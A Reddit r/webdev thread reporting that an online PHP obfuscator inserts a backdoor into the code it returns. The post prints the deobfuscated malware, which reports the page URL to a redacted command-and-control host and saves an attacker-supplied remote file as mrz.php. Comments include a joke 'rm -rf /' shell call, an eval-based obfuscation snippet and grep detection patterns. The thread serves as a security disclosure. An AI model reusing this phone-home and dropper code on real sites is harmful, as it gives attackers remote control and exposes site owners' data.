r/webdev • • 16h ago • Bravo 2

The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code

Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.

At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.

I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.

Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.

DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.

Infection still in: 2026-11-28 17:49 (UTC)

-------

Input:

<?php echo "Hello world";

Output (partial):

<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>

Output (deobfuscated, cleaned up)

<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url  = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$context = stream_context_create([
    'http' => [
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query(['file_url' => $cur_url]),
    ],
]);
file_get_contents($c2_url, false, $context);

// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
    $payload = file_get_contents($_GET['file']);   // attacker-supplied URL
    if (file_put_contents('mrz.php', $payload)) {
        echo "File : mrz.php Success !";
    } else {
        echo "Error";
    }
    exit;
}

// 3. Decoy output so the page looks harmless
echo "Hello world";
1.8k Upvotes

149 comments sorted by

941

u/IslayProgrammes 16h ago

There’s almost zero legitimate reason to be obfuscating PHP.

If you’re obfuscating backend code with the intention of it being public and difficult to parse you’re doing something nefarious and deserve to be victim of this attack

332

u/jessepence 16h ago edited 16h ago

I think it's mostly WordPress Plugin developers who want to live off the 200 lines of code they wrote ten years ago.

153

u/tainvie 16h ago

WordPress is GPL-licensed, so all plugins have to ship their real source code, and the plugin directory explicitly bans obfuscated code.

86

u/sabotsalvageur 16h ago

Tell that to Automattic

30

u/saltyourhash 14h ago edited 10h ago

Except for years, at least back when I wrote php plugins, people were obfuscating them as if they were of value. Now, the bar is even lower.

-3

u/mewteu 11h ago

pwoppw - people without paid php work?

25

u/NoThatsNotPasta 13h ago

This is not strictly true.  Your plugins can be closed source, it just means you can't put them on the wordpress plugin repo.

I've worked in a number of companies that develop closed source plugins and themes.  You just don't release the source code.

9

u/NickG365 7h ago

This only holds if you don't distribute them. If you distribute it for download, you must include the source to be in compliance with the GPL.

If it's just for the company's own use, then there's no such requirement since you're not distributing it.

1

u/TimMensch 1h ago

The FSF agrees with you, but frankly their position is fragile.

They're claiming that the plugin is a derivative work of WordPress because it calls the API. That feels like a stretch to me and no one has ever gotten a judge to rule on it. So it's a gray area.

8

u/tainvie 16h ago

ionCube developers: "Am I a joke to you?"

0

u/[deleted] 16h ago

[deleted] — view deleted comment

5

u/tainvie 16h ago

Haha, yeah! :D I'm so glad the "golden age" of it (if there ever was one) is over. I still have to work with a licensed, ionCube-encoded library for a client, and I really hate it. Every time we update anything, whether it's the core, PHP or something else, it's always "oh right, that stupid library again…"

37

u/gusbo_the_jam 16h ago

I remember a tech lead asking me to obfuscate CSS once.

22

u/IslayProgrammes 13h ago

Once upon a time, uglify was a really popular library that replace variables with random hashed values.
Very basic obfuscation but mostly I imagine because people were embarrassed by their naming schemes or lack there of.

It was around the same time standard schemes like BEM started appearing

13

u/hongaar 12h ago

Mostly used this to reduce js file size, remove dead code, etc. Some alternatives I used were Closure Compiler and Packer. Today, js build tools like vite still minify production code, even though we now have server-side compression everywhere. Still pays off I guess.

1

u/jazzhandler 15h ago

So you emitted it from perl?

24

u/NudaVeritas1 16h ago edited 16h ago

there are legitimate reasons.. selling closed source and licensed software for example and you don't want that the license check logic is readable / easily changeable by the enduser. and I think that tool aims exactly there, because it'll end in the customers systems

edit: examples for commercial softwares would be shopware-commercial, whcms, hostbill, paid wordpress plugins and themes, they all use obfuscation in their licensing logic

30

u/kondorb 15h ago

Obfuscation adds nothing. Short chunks of logic were always extractable and editable by hand, that’s why real software doesn’t rely exclusively on checks inside customer-run code.

Now with AI an entire codebase can be deobfuscated in an evening, so it makes even less sense.

48

u/who_you_are 16h ago

Yet obfuscation isn't a security features.

-10

u/NudaVeritas1 16h ago

of course it is.. it's like using a lock for your bike. the lock doesn't make the bike unstealable, it just increases the needed effort to do it, which "scares off" some of the bad guys

19

u/Weekly-Beginning-229 16h ago

With AI that effort is now copy paste

1

u/NudaVeritas1 6h ago

yeah and with a bike lock the effort is holding an angle grinder, you still lock your bike, right?

0

u/uiovoiu 1h ago

Yea but stealing a bike is illegal and you have to do that physically. Deobfuscating the code is not and it's a bad analogy.

40

u/scritchz 16h ago

Nope, your analogy is wrong.

Obfuscation is like throwing your bike into bushes, so people cannot find it. It is not locked or otherwise secured; it's just difficult to reach in a way people may not think about.

-9

u/NudaVeritas1 16h ago

in essence you just said the same thing.. "make it difficult to reach / take"

17

u/scritchz 16h ago

There is a difference between physical obstruction and none, though?

13

u/NudaVeritas1 16h ago

of course, but the essence of that analogy was that it's a tool to increase effort

9

u/UsualAshamed9283 15h ago

both made the same point yet reddit in its greatest taste likes to argue over extreme nuance and be the most correct. lol

2

u/NudaVeritas1 15h ago

tiring, right?

-3

u/nelsonbestcateu 13h ago

It is a point worth making though. Obfuscating a password is not the same as encrypting it for example.

→ More replies

17

u/tunerhd 16h ago

Dude lock doesn't secure your bike either. Just makes it harder to steal.

2

u/pyramin 6h ago

I feel like people disputing this are being deliberately obtuse. At least pre-AI, obfuscation was certainly not infallible but if you deob a 10000 line file with few string references where all the variables have been renamed to aaa, aab, and so on, it significantly increased the effort to understand what and why code was doing what it’s doing.

1

u/ba-na-na- 16h ago

Lol what are you talking about

0

u/saltyourhash 14h ago

A bike lock is hardly obfuscation, if anything a giant ratsnest of a not used to lock up your bike is more akinntk obfuscation...

12

u/Tank_Gloomy 16h ago

Take the cheapest model, let's say one of Inkling or DS V4.1 Flash 10/17, it'll reverse-engineering that shit in 30 minutes.

1

u/NudaVeritas1 16h ago

I know, but that doesn't mean it was possible a few months ago.. and commercial software with licensing exists a bit longer than that.. the question was if there are legitimate usecases for code obfuscation and not if a modern LLM can bypass that.. by your logic we should ignore OWASP top 10, because you know how SQLi works lol

7

u/Tank_Gloomy 16h ago edited 16h ago

What? No, you're mixing concepts here.

You should absolutely take care with your security. What shouldn't be possible is your customers downloading RAW snippets of backend code. Set up your backend so that it can't ever serve a PHP file as a downloadable (lets say, using an Apache or Nginx rule), disable anonymous shells, disable upload progress tracking and keep your PHP up-to-date with the latest patches.

That's 100% all you could/should do. Of course, if you're letting your customers build RAW SQL calls you're either doing something wrong or perhaps you're providing a service to rent a database. In that case, just have your backend pass each query parameter through a escaping function or, better yet, just use an ORM like Eloquent that does it for you.

My point is that you need to act like people WILL steal your code, so that when they do, there's mostly no vulnerabilities to exploit. Then, you should just think about your backend as something that shouldn't expose files and rather be strictly focused on serving the result of code execution. If you need to expose files, run a different server software on a different alias like cdn.example.com to deliver media or assets.

1

u/Aishou_SK 4h ago

It is still a thing to sell a product written in PHP that runs on customer servers.

1

u/Tank_Gloomy 4h ago

It's about to end if all you can provide is 'the obfuscated source code' for you to self-host, though. The support is the real deal atm.

1

u/Aishou_SK 3h ago

I mean, a part of it was, and I recall there were several modules for this, providing just encrypted code with unlock mechanisms, not just "base64 this" kind shit.

For people selling that kind of thing, I guess it's a SaaS only future, because it was primarily an anti-piracy mechanism from experiences i had when using such products, like say, cpanel (i think) or WHMCS

ionCube is what it looks like i'm remembering

1

u/Tank_Gloomy 3h ago

I mean, I get where you're coming from but, realistically, if the code is gonna run on the customer's CPU, it's gotta have the actual keys to decrypt itself in some shape or form.

A few months ago, I was investigating the drivers related to SPO2 tracking on a Samsung smartwatch running WearOS and they were encrypted and gated behind the vendor blobs. The thing's that, if I were to be willing to root it, the keys were there within the system partition. It's just the key for my specific device, but it's still a valid decryption key that I could use in order to RE the implementation.

Your customer will always have a way out into 'sniffing' the code as it goes through their hardware, because it has to live decrypted somewhere, that place might either be in storage, in memory (RAM), in a separate cloud server, anywhere you can think of, someone and somethnig must have the actual runnable machine code.

2

u/Aishou_SK 3h ago

Well, like I said, it's not a thing I do, (I don't do PHP) but you know, I do have some license enforcement mechanisms.

Then again, if I find you using any of my closed source stuff in a production usage, you have enough money to make it worth suing you, instead of fly by night VPS providers who just disappear.

So different worlds.

I don't obfuscate my compiles at all, and on many platforms, there's no way to, so *shrug*

And yea, I always thought PHP encryption was stupid, but it was like windows activation - just cut out most of the low grade pirates who paid for convenience instead of dealing with all the other stuff back then. Cracked copies of say, WHMCS, always floated around.

However, imagine explaining to your boss "our giant CNC thing is down because we cracked the software and/or recompiled it and triggered a bug and have no support" .....

So yea, like I said, different worlds.

→ More replies

4

u/ScryptSnake 3h ago

You are indeed correct there are legitimate reasons to obfuscate any code regardless where it lives. Folks claiming there isn't never built a damn thing worth selling.

1

u/don_mumrik 2h ago edited 2h ago

We have, we just sold it as a SaaS and not a bundle of closed source PHP. Many PHP projects have made a profit of being just opensource and relying on contracting work, expertise etc. like Drupal, Wordpress, Symfony, Laravel etc. etc.

I think obfuscating PHP code is stupid and dangerous, if you need an example just look at what OP complains about.

I always used something like this in the past, its easy to deobfuscate, but at least its compact for payloads and you can always add more obfuscation on top of it like replacing variable and function names with gibberish, invoke eval in a creative way, add decryption with a key from your auth server somewhere too maybe...

$s = str_replace(['\\', '$'],['\\\\','\\$'], gzcompress($contents));
$gz = "<?php \\$s = <<<XXX\\n$s\\nXXX;\\n"; $gz .= 'eval("?>".gzuncompress($s)); ?>';
file_put_contents('license.php', $gz);

You can get clever but in the end its always trivial to circumvent license checks in PHP code unless you want to make it so obfuscated that no serious business would trust it.

1

u/StinkButt9001 57m ago

Selling a SaaS and selling software are two different things

3

u/sabotsalvageur 16h ago

As demonstrated by the third image, “security through obscurity is no security at all”

1

u/HirsuteHacker full-stack SaaS dev 12h ago

Obfuscation like this has always been pointless. With modern AI it's ridiculously simple to undo the obfuscation with zero effort.

-1

u/yabai90 14h ago

No, that doesn't work. Any low tier model will reverse engineer it within 30mn.

-2

u/WingsOfGryphin 16h ago

classic stackoverflow smartassery - Q:i have problem with x. A: nobody used x anymore use y and why the f would anyone use x! kek

128

u/HoratioWobble 16h ago

Obfuscating PHP is like locking a gate with a wotsit. It's a waste of time

40

u/tainvie 16h ago

I agree, especially these days. AI can port a PS5 game to PC in two days which is a bit more complicated than unscrambling an eval(base64_decode(...)) nested a few times.

15

u/isospeedrix 15h ago

TIL what a wotsit is, a Cheeto lol

3

u/FrostingTechnical606 15h ago

Any lockmaker can tell you that a dedicated lockpicker can certainly get your lock open. Locks are mostly used to deter people from just wandering in. If you break the lock, it is a sign of malicious intent.

1

u/PM_ME_UR_0_DAY 10h ago

And ideally the client never sees the php anyways, so who are you even obfuscating it for?

4

u/Aishou_SK 4h ago

For the people buying your product to run it on their server.

30

u/Xiten 16h ago

If it’s injecting malware why are we blacking out the name of the site?

-7

u/tainvie 16h ago

Well, exactly that's why. But if you know what you're doing, I don't think it's that hard to find it out based on the images and post.

10

u/_EleGiggle_ 13h ago

I doubt anyone is choosing this obfuscator because of your thread. But they would have reported the link to Google, so it doesn’t show up in the search results anymore.

Maybe report it to the hosting website as well if they are legit. I doubt that most web hosts like to distribute malware.

0

u/YouMakeMeSikh 8h ago

that's a dumb excuse, no offense. there is zero reason you had to do that. but good call.

8

u/digitalwankster 15h ago

The order of search results change all the time and by device (mobile vs desktop) so the "second result" is liable to be different by the time someone else stumbles upon this.

3

u/tainvie 15h ago

Oh well, damn… It's actually the FIRST result for me on mobile in a private tab. So yeah, point proven.

29

u/idontknowman139 15h ago

So why did you redact the url of the website?

41

u/Westerdutch 15h ago

OP has obfuscation fetish.

18

u/tainvie 14h ago

And I just obfuscated an obfuscator. You have no idea how that felt for me!

10

u/Westerdutch 14h ago

You have no idea how that felt for me!

I cannot imagine how sticky the underside of your desk is right now....

5

u/Neurojazz 14h ago

The Obfuscationator. Catchy.

1

u/jcsilva87 12h ago

Yo dawg, I heard you like some obfuscation

5

u/glenpiercev 14h ago

The url is essentially meaningless. The point is: don’t use any of them.

1

u/AlwaysHopelesslyLost 7h ago

Funniest part is Op censored it in the first picture but not the second picture. 

OP seems like a vibe coder who is just figuring things out.

10

u/Rigamortus2005 16h ago

Why in gods name are you obfuscating PHP if you didn't intend to ship a virus anyway?

-4

u/tainvie 16h ago

Maybe the author realized only attackers were using their site. In that case, it's a shame they didn't slip in a little shell exec `rm -rf /` :D

7

u/dangoodspeed 14h ago

Wasn't that $6 billion Binance hack partially traced to a hack where one of their devs needed to install Homebrew on a new computer, and a Google ad pointed to a fake homebrew site which gave the dev a fake install command line?

5

u/tainvie 14h ago

Maybe it wasn’t even Google but an LLM. Few days ago I was searching for alternatives to a NodeJS library with Claude and I found that Claude actually put a phishing clone site of GitHub in a citation link. Opened the site out of curiosity and it was flagged by Chrome Safe Browsing, it wasn’t even in Google search results, maybe someone somehow optimized it for LLMs. Crazy times.

1

u/SingerSingle5682 3h ago

There was a similar issue with XCode where Apple’s planned obsolescence caused them to remove all official downloads links to older versions to prevent developers from using old hardware.

The Google results for the old versions of XCode had malware that would infect every iPhone app published. No one even noticed until a good sized chunk of iPhone apps all had the same malware.

312

u/nakfil 16h ago • Bravo

It's worth reporting this to Google -

https://www.google.com/safebrowsing/report_phish/

So they will remove it from the SERPs, hopefully.

-123

u/ArsonHoliday 16h ago

Lol like they’d give a damn

97

u/nakfil 16h ago

Google delists and flags sites for malware/phishing all the time.

13

u/WpgMBNews 16h ago

It's automated afaik

23

u/RattuSonline 15h ago

They do. One of my sites has been (mass) reported as malicious/phishing due to having OpenID login for a popular gaming platform a few years ago. I reported it as false positive and they lifted it after a few days.

-18

u/ArsonHoliday 15h ago

I expected less from them so that’s good to hear

38

u/danabrey 16h ago

You really think sites never get removed from search results?

49

u/PersianMG 16h ago

You can report sites as malware:
https://www.google.com/safebrowsing/report_phish/
https://www.microsoft.com/en-us/wdsi/support/report-unsafe-site-guest

If enough people report, the Search Engines will delist these sites.

I also did a test and confirm they add backdoors to the code.
They don't even obfuscate the original input code alongside the backdoor so it goes somewhat unnoticed...rookies.

9

u/_EleGiggle_ 13h ago

Good thing that OP censored the URL so nobody can report it.

0

u/AlwaysHopelesslyLost 7h ago

... You are kidding right? If not, second picture (ignoring that Ops shit censor is easy to read around)

73

u/aTaleForgotten 16h ago

If you need to obfuscate your backend code, you may have other problems

6

u/ZenaMeTepe 16h ago

This🤣

-8

u/Ansible32 12h ago

maybe it's frontend php

3

u/Main-Dish-5989 3h ago

When you forgot the /s

12

u/alltheseflavours 13h ago

Who the fuck is putting their code into random websites and asking it to 'obfuscate' it for you? You all need Jesus. And a CI pipeline.

2

u/Quick_Phone8500 16h ago

How does this even work? It downloads mrz.php then doesn’t run it, and it echos “downloaded mrz.php” if it downloads successfully, this is crappy malware

5

u/tainvie 16h ago edited 15h ago

It reports the infected site to the attacker, then downloads whatever file they supply and saves it as mrz.php. That gives them remote code execution (RCE), which basically means full control of the site. They can read and write files, steal credentials, access the database, and plant more backdoors.

5

u/henrychauhan_4 16h ago

It doesn't execute the download in that request, but writing `mrz.php` can still be a dropper: if the file lands in a PHP-served path, a later request may execute it. The snippet alone doesn't show whether it's reachable.

4

u/Quick_Phone8500 16h ago

Oh true, but still echoing that you’ve successfully downloaded the malware makes no sense…

5

u/DiscipleOfYeshua 16h ago

Coming soon!

google2shell

3

u/exintrovert 14h ago

Using an obfuscator requires a level of trust that I would never grant to a random search result.

I think I would bite the bullet and pay for ioncube.

I believe Yak Pro is reputable.

Never use online web forms to obfuscate for free. Who knows what they are doing.

And avoid Zend, it is EOL.

Thank you for posting this, it is an important reminder that malware injection into obfuscated code is a legit concern.

1

u/Acceptable_Handle_2 9h ago

Seems like it's better to just not obscure it

2

u/_eggseck 16h ago

PHP obfuscation is useless today. Good thing is things like ioncube exist for PHP, use those.

2

u/Mecanik1337 15h ago

Let me tell this you after 20+ years of PHP development. Especially since I worked a LOT in "obfuscation" and licensing, etc. There is absolutely NOTHING you can do to prevent someone from reversing your SCRIPT. PHP is a SCRIPT which gets executed by a PROGRAM, which means it can ALWAYS be "de-obfuscated". This applies even to ioncube and any other "custom" obfuscations. The only thing you gain from this is to make script-kids get a headache when they want to steal code/copy code. Bottom line is, stop trying to "obfuscate" your PHP. Instead SELL it entirely, per project, with proper NDA and contracts. Take my advice or leave it, up to you.

2

u/Ill-Bat-1518 15h ago

Wow i can't lie when i was way younger i used these type of websites before thinking it would help like stop my email getting spammed etc

Never did i think that was a possibility and i used to be super weary of malware

2

u/sgijoe 14h ago

GEEEEEEZ........... HOW IS AN HONEST THREAT ACTOR SUPPOSED TO MAKE A BUCK?

2

u/Confident_Toe4393 10h ago

A screenshot of a search result is the weakest possible evidence for this. Which domain, and did the same one come back second on every check? The eval/gzinflate breakdown is the only part worth trusting here.

2

u/dialsoapbox 10h ago

This is what i wish this sub had more of.

3

u/d2xdy2 back-end 16h ago

Here in 2026 we’re still obfuscating PHP. Jfc.

4

u/JontesReddit 16h ago

Anyone obfuscating code deserves this

3

u/abeuscher 15h ago

Fuckin' full thread whoosh over here. This should be a story about how search is broken, not about the topic at hand. How to run a credit card scam shouldn't have a phishing link up top either. There are good reasons to want to search for this phrase. It doesn't mean anything to want to know HOW to do something. That's how you learn.

This sub and really the internet in general is so fucked. We're supposed to be the fucking experts and can't even understand the context of an obvious problem. Is this sub just full of vibe coding marketing executives and third graders at this point?

There is one specific person responsible for this issue and his name is Prabhakar Raghavan. Look it up. He also has nothing to do with obfuscating PHP.

0

u/rafaelml12 16h ago

Google needs to get their shit together

1

u/AssumptionOk8560 16h ago

😭 blaming google for this? Nuhuh you can't be a web dev dawg

-2

u/RedditCultureBlows 16h ago

What does wanting a company to do better at filtering out malicious content have to do with him being “not a web dev”. Tbh it’s more concerning that you’re not frustrated with it lol.

5

u/_xiphiaz 16h ago

Do you expect googles search crawlers to fill out forms they discover on pages and inspect the results for malware?

-3

u/AssumptionOk8560 16h ago

Lemme guess you probably you've never touched a pc in your life you don't understand how things work, you think google is a anti malware company?

-4

u/RedditCultureBlows 15h ago

First all you can keep that attitude for the next person, no clue why you’re being so pissy.

Second, how would I even have replied without a PC? You get a phone is a computer at this point too? Makes no sense but I wouldn’t expect an emotional outburst to follow much logic either.

Last, no I expect a multi-trillion dollar company to vet their own listings. You know they crawl the pages on the site? You know Google has their own LLM? There’s no reason the results they crawl can’t be automatically vetted. Do you also think spam mail is individually reported and removed? You don’t think they need established presence to not get flagged as spam? You don’t think automatic malware/phishing isn’t happening either?

I guess next time sit and think a minute before getting emotional on the internet because other people want the multi-trillion dollar company to put more effort into finding malicious actors that they’re willing to list.

-1

u/AssumptionOk8560 14h ago

😭whole allat yap of useless info ain't reading that

1

u/RedditCultureBlows 13h ago

I wouldn’t read it either if I was wrong, dumb, and loud

1

u/fxlr8 16h ago

What is the point of obfuscating php in the first place?

1

u/aTaleForgotten 16h ago

Also, that is amongst the ugliest code i've seen in a while. Hideous.

1

u/T-J_H 15h ago

Why the hell would you need to obfuscate a purely server side language anyways

1

u/bblankuser 13h ago

no point in obfuscation in modern times tbh

1

u/hongaar 12h ago

We can finally bury security by obscurity

1

u/semibilingual 12h ago

if i was in the business of malware, my favorite target woukd be code obfuscated, so noone can see what my code is doing.

1

u/n9iels 12h ago

Is this still a thing?! Pretty sure AI can make it readable within a few minutes, complete with variable- and function names that make sense.

1

u/OldAssistance1702 9h ago

so people are pasting their whole source into a random website and the shocking part is the backdoor? the shocking part is that the code came back at all honestly. you're handing your entire app to a stranger's server, half of these sites dont even have a whois worth reading, and then everyone acts betrayed because the free tool that ranks #2 on google turns out to be some guy in a basement wrapping your functions in eval. search ranking is not a security audit, google ranks whatever has links and keywords, it has literally never once checked if the site is run by criminals. and its the same energy as people who install a random chrome extension with 40 reviews that wants permission to read everything on every page and then wonder why their sessions got jacked. if you need to obfuscate php just run a local tool, there are a million of them, its a file on your disk, it doesnt phone home, it doesnt care. but no, we gotta use the online one because its easier, and then a blog post has to explain to grown developers that the second google result is malware, in 2026, like this is news. and the comments will all be "wow good catch" as if the real lesson isnt that you shouldnt be obfuscating php at all, because anyone determined enough just reads the bytecode. whatever, i'm gonna go check what comes back from that tool out of morbid curiosity.

1

u/Subject-Cry7069 8h ago

The decoy echo at the end is the nasty part, the output still prints Hello world so nothing looks off unless you read it.

Cheap habit that would have caught it: before anything a web tool hands back goes near a server, grep it for eval(, gzinflate, base64_decode, assert( and file_put_contents. A one line hello world should come back with none of those. If the obfuscated version has an eval in it, you're done, don't bother deobfuscating to find out what it does.

1

u/ElectronicPurple9013 8h ago

why is your production code going through a random website in the first place

1

u/jayhalk1 7h ago

If I doubt, use the link on Wikipedia.

1

u/yleed 5h ago

huh

1

u/bacondev 5h ago

Never in my life have I ever considered obfuscating PHP code. I can't think of a legitimate reason for production purposes.

1

u/Unfair-Plastic-4290 4h ago

The only reason to obfuscate your code is because you're embarrassed of it.

1

u/Aishou_SK 4h ago

> SECOND Google search result 

20 years ago, I'd believe it.

Today, I'd believe it.

Nothing changes.

1

u/unicorns-arent-real 4h ago

If you need an obfuscator, find one on Github, then you'll have the source. Or write your own.

1

u/InsideTour329 2h ago

This is going to sound wild but hear me out, maybe don't use PHP? There's no excuse for it these days you can literally port any php site into blazor or something in an afternoon.

1

u/don_mumrik 2h ago

No reason to obfuscate PHP.

•

u/mrcarrot0 19m ago

How about "don't blindly trust code that was was created/generated by a third party"? Online converters/generators primarily exist to scrape user data anyway, I'm not surprised that they would inject an attack into your given an opportunity. 

My new favorite quote btw: 

I still don’t know how you do vibe coding and claim you’re doing security. — David Gerard

0

u/mllv1 16h ago

For people saying you never need to obfuscate backend code, you’re wrong. We distribute an on prem SaaS to defense contractors, and since it isn’t written in a compiled language, we are required by many customers to obfuscate it. We also provide a checksum.

0

u/Plane-Analysis-6770 13h ago

Sorry never heard of obfuscating what is it

-4

u/vm_linuz 10h ago

0. Why are you using PHP?

  1. Why are you obfuscating PHP?
  2. Why are you doing it via copy-paste?

-6

u/raptorraptor 11h ago

We're still writing PHP?

1

u/fishingforwoos 3h ago

This was a tired joke in 2015

-6

u/allpunks 15h ago

Honestly it's the devs fault to be still using PHP in 2026 lol

1

u/Leather-Chart7083 9h ago

I can literally put "penis" and it acts like it obfuscated penis

0

u/[deleted] 16h ago

[deleted] — view deleted comment

5

u/j0nquest 15h ago

Impressed they thought someone might obfuscate code or that some random online tool would inject malware into it? You should pretty much assume anything like this is dangerous unless proven otherwise.

0

u/[deleted] 15h ago

[deleted] — view deleted comment

1

u/j0nquest 14h ago edited 14h ago

Alrighty. It seems pretty low effort in the outcome is totally predictable sense, to me. Not impressed and not surprised it’s ranked so high in the search results given the context code obfuscation which in my mind defaults to danger ahead.

1

u/exintrovert 14h ago edited 13h ago

I think people usually obfuscate code for proprietary/paid products.

Trying to think why I might want to obfuscate my own backend code, and the only thing I can think of is to prevent tampering if someone gains access.

I’ve been exploited before, and I remember scanning all my files to make sure nobody messed with any other scripts.

But now I just keep checksums and use AIDE to snapshot my system.

I really cannot think of another reason to obfuscate code I am not selling 🤷‍♀️